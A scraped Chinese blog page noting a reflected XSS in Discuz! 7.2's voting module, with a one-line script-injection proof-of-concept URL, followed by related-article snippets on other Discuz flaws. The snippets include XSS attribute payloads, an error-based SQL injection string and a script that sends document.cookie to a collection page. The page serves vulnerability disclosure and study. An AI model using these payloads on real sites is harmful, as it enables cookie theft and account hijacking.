Discuz! 7.2的一个XSS漏洞

墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 3.6k累计阅读 3.6k平均单平台已同步平台优快云微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网我也要 → 码龄19年

关注

原创最新推荐文章于 2026-02-23 00:22:21 发布 3.6k 阅读 AI 写同款· GEO 优化 ›

discuz xss拿shell Discuz XSS得webshell By racle @tian6.com 欢迎转帖.但请保留版权信息. 受影响版本:Discuz<=6.1.0,gbk+utf+big5 新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效. ... 阅读详情

Discuz! 7.2的一个XSS漏洞

http://bbs.example.com/vote/showtome.php?tid=6>"><script>alert(3580839)</script>

在投票模块中出现的

有空要下载7.2的源码研究研究

收录于

安全性测试

当前文章被收录于：

安全性测试

112 篇文章 0 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

Discuz x2 XSS漏洞 Discuz x2 cms 针对拥有编辑权限的管理员存在储存型xss，构造合理的payload可拿到管理员cookie payload: [align="onmouseover="alert(1)]; 阅读详情

相关推荐

Unity调用手机摄像头避坑指南：从权限检测到自动对焦问题解决

本文深入解析了Unity移动端集成手机摄像头时遇到的权限、对焦与性能等核心难题。针对权限管理，提供了健壮的原生接口调用方案；针对自动对焦模糊问题，详细对比了原生插件与第三方插件两种解决路径；并分享了分辨率选择、数据处理及功耗控制等关键性能优化技巧，帮助开发者构建稳定高效的摄像头功能。

weixin_29007243的博客 469

Discuz交友插件漏洞附EXP

DZ交友插件漏洞jiaoyou.php?pid=1有的注入需要登录，注入代码如下：'or@`'`and(select1from(selectcount(*),concat((select(selectconcat(0x7e,0x27,unhex(hex(user())),0x27,0x7e))frominformation_schema.tablesli...

weixin_33908217的博客 299

Anroid8.1 强制修改系统可以adb remount

在Android6.0 （Android M）user版本上，发现使用adb root后再adb remount系统之后会提示这样信息：remount of /system failed: Read-only file system，这是不能对system分区进行操作，提示没有写权限，为只读文件系统Read-only file system，因为系统本身在user就不支持可写操作，我们就不能adb push来调试apk，如果想调试apk就需要修改system、vendor权限问题。如下现象： C:\Use

wq892373445的博客 1407

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本：var img = new Image();img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);但是我不一样，因为他需要诱导人去点击他的链接，但是现在人不是傻子，不会轻易点你的链接。而我是要把脚步插入论坛页面中，这样既隐蔽又省去了诱导的力气我插...

weixin_42347699的博客 262

大连海事大学课设题目/基于LM331的频率电压转换器

部分基于LM331的频压转换的实物连接问题

2301_76649592的博客 3225

激光焦点动态跟踪技术实战大揭秘：电容式与同轴视觉的巅峰对决

激光焦点动态跟踪技术是保证激光加工质量的关键因素。本文对比评测了电容式和同轴视觉两种主流技术：电容式响应速度快、成本低，适合高速稳定加工环境，但易受电磁干扰；同轴视觉精度高、抗干扰强，适合精密加工和复杂工件，但成本较高且处理速度受限。评测结果表明，企业应根据加工需求、预算和环境选择合适技术。未来该技术将向智能化、多技术融合方向发展，为工业应用提供更优解决方案。

远程部署调试运行安装项目调试二次开发项目技术新持续迭代部分源码免费分享 124

xss漏洞

登录：http://192.168.200.129/06/vul/xss//xssblind/admin_login.php。输入的参数没有被过滤。alert(‘xss’)// 单引号闭合前面 //注释后面字。登录//192.168.200.129/01/vulnerabilities/xss_s/网站，抓包；存储型 xss 代码分析中，看到留言的 inster into 语句中，直接插入留言信息，将如下代码植入怀疑出现xss的地方（注意’的转义），即可在项目内容观看XSS效果。

weixin_59762059的博客 1246

STM32CubeMX | 38-使用硬件SPI驱动以太网模块（W5500）

本篇详细的记录了如何使用STM32CubeMX配置STM32L431RCT6的硬件SPI外设与以W5500通信，驱动以太网模块。 1. 准备工作硬件准备开发板首先需要准备一个开发板，这里我准备的是STM32L4的开发板（BearPi）： W5500以太网模块这里我使用常见的以太网模块W5500： W5500官网 http://www.w5500.cn/ W5500中文手册 iEthernet W5500 Datasheet 软件准备需要安装好Keil - MDK及芯片对应的包，以

Mculover666的博客（嵌入式） 7386

discuz7.2漏洞分析

一参数的入口这段话的意思时遍历三种提交的方法，获取参数传递的值。有一个函数是daddslashes，跟进看一下。这段代码的意思是对数据里的每一个字符都进行转义处理二漏洞产生的代码在faq.php195行跟进implodeid函数，在faq.php的675行这个函数的功能将数组里的值拆分出来，如图到了这里我们知道，如果数组值当中存在在 / 或者 ’ ,那么在拼接s...

qq_38415434的博客 1159

电力系统分析 | Matlab实现源荷场景生成---蒙特卡洛法场景生成启发式同步回带削减

前程算法屋的博客 812

XDMA原理学习（1）——DMA技术详解

DMA 技术是Direct Memory Access的缩写，其意思是“存储器直接访问”。它是指一种高速的数据传输操作，允许在外部设备和存储器之间直接读写数据，既不通过CPU，也不需要CPU干预。DMA是所有现代计算机的重要特色，它允许不同速度的硬件设备进行沟通，而不需要依于中央处理器的大量中断负载。否则，中央处理器需要从来源把每一片段的数据复制到寄存器，然后把它们再次写回到新的地方。在这个时间里，中央处理器就无法执行其它的任务。

apple_53311083的博客 8377

7.2 discuz 拿shell_discuz 7.2 SQL 注入漏洞分析

1、漏洞影响范围该漏洞影响discuz 7.2，discuz 7.2可以从http://www.comsenz.com/downloads/install/discuz下载2、漏洞成因分析漏洞存在于discuz根目录的faq.php文件，当程序使用$_GET,$_POST, $_COOKIES传入参数，faq.php，包含的./include/common.inc.php文件中会对这几个对象做处理...

weixin_39852647的博客 602

RK3568平台开发系列讲解（安卓篇）LED呼吸灯系统流程

1.app层封装后使用NotificationManager发出：NotificationManager.notify() 2.Android 系统架构中：一个manager类对应一个aidl接口，一个manager对应一个底层的服务，notification也是这个架构

内核笔记 3645

Discuz 7.2/X1 第三方插件SQL注入及持久型XSS漏洞

漏洞详情披露状态： 2010-07-31：细节已通知厂商并且等待厂商处理中 2010-08-01：厂商已经确认，细节仅向厂商公开 2010-08-11：细节向核心白帽子及相关领域专家公开 2010-08-21：细节向普通白帽子公开 2010-08-31：细节向实习白帽子公开 2010-08-31：细节向公众公开简要描述： Discuz！7.2/X1 第三方插件SQL注入及持久型XSS漏洞。 SQL注入比较鸡肋，要求GPC为off（目前这样的网站几乎绝版了） XSS因为是持久型的，只要

swordheart的博客 4910

SAP B1中文培訓教材_SDK

公司内部培训资料，对开发工具，DIAPI， UIAPI，Add-ON有详细解说

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术，以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索，主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式，计算机控制系统的数学描述与基本分析方法，以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Discuz!跨站脚本攻击

漏洞简介 Discuz!是一个论坛系统漏洞编号：CVE-2018-10297 漏洞名称：Discuz!跨站脚本攻击漏洞描述：Discuz! <= X3.4版本存在存储型跨站脚本漏洞，允许远程攻击者注入恶意脚本或HTML代码，从而获取敏感信息或劫持用户会话。危险等级：中级漏洞利用反射型XSS 先注册一个用户test1 在用户发帖处,插入图片,选择网络图片地址处填写payload x" onerror=alert(/xss/) 点击提交但是文章发出去后仅仅xss不存在储存型XSS

lonmar的博客 1107

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具，可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

discuz漏洞汇总

Discuz漏洞拿服务器路径泄露 ‘api/addons/zendcheck.php’, ‘api/addons/zendcheck52.php’, ‘api/addons/zendcheck53.php’, ‘source/plugin/mobile/api/1/index.php’, ...

hacker0ne的博客 5万+

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能：商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传，基本资料下载，开钱箱、小票打印、收款结算，支持多币种付款方式（现金、储值卡、礼券、微信等）,支持多种促销。运行环境：.net 4.0登陆信息用户名:1001 密码:123456内置商品信息，商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏相关源码待公开

xss防御补丁_Discuz论坛最新dom xss漏洞的解决方法

无忧主机小编在日常处理客户网站问题时，经常遇到网站因为程序漏洞出现的问题。网站安全的发展，才能使得管理者放心营运。但是比较无奈的是，漏洞问题貌似屡见不鲜，就算再强大、再常用的程序，都会有诸如漏洞的问题，如discuz。下面是我们今天要讲的漏洞：qq互联插件dom xss漏洞关于漏洞的描述：在JS字符串中，字符还可以表示为unicode的形式。即：单引号还可以表示为\u0027或\x27。由于没有过...

weixin_28920823的博客 542

【原】织梦dedecms v5.6 discuz7.2 xss漏洞

2010年07月05日星期一 23:31 由于某度众所周知的举动，让我搬离写了5年的渣度空间，准备把技术性的文章定在优快云了。这些都是文章备份。勿怪。。鉴于最近有些抓取机器和抄袭者，把标题的【原】字都复制，我不得不声明：本文为 yukon12345原创，转载请注明出

步满生错的专栏 2766

php xss过滤函数,PHP通用的XSS攻击过滤函数，Discuz系统中防止XSS漏洞攻击，过滤...

流传的移除XSS攻击的php函数 The goal of this function is to be a generic function that can be used to parse almost any input and render it XSS safe. For more information on actual XSS attacks, check out http://h...

weixin_29679557的博客 235

uctools.php,Discuz曝出安全隐患 XSS脚本漏洞和uctools.php

Discuz安全：存储型XSS脚本漏洞确认　影响所有Discuz版本该漏洞6月23日在网上公开并得到discuz官方确认，可影响Discuz几乎所有版本，从目前还比较流行的Discuz 6.0到最新的Discuz X2都存在这一漏洞。今天有官方团队在论坛放出过修补教程，但目前该帖设置访问权限限制，以下是百度快照中保存的修改方案，仅大家参考。disuczcode 函数存在解析漏洞, 用户可以直接在帖...

weixin_42130862的博客 500

discuz7.0 _post.php xss跨站漏洞-学习笔记

漏洞名称 discuz7.0 _post.php xss跨站漏洞发布时间 2014-06-02 漏洞分类反射型xss漏洞缺陷代码没有对所有参数进行过滤。 if($action == 'reply') { $addfeedcheck = $customaddfeed & 4 ? 'checked="checked"': ''; } elseif(!empty($special) && $action != 'reply') { $addfeedcheck = $

小龙在线 1070

Discuz! 7.x 反射型xss

引用：http://wooyun.jozxing.cc/static/bugs/wooyun-2014-084097.html 在/include/global.func.php 文件中第1036-1119行中 function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) ...

aixuan9365的博客 334

Discuz7.X爆注册验证码提取XSS跨站漏洞金山、卡巴等大型论坛也无一避免

动物家园计算机安全咨询中心（www.kingzoo.com）反病毒斗士报： 2010年3月16日，凌晨接到线报说 Discuz!7.0-7.2出现注册验证码提取XSS跨站漏洞，经过有关测试证实存在。随机点了下跟本站友情连接的站点，发现都存在这个问题。XSS跨站漏洞，其***手段不仅仅在于COOKIE信息获取、欺骗用户执行恶...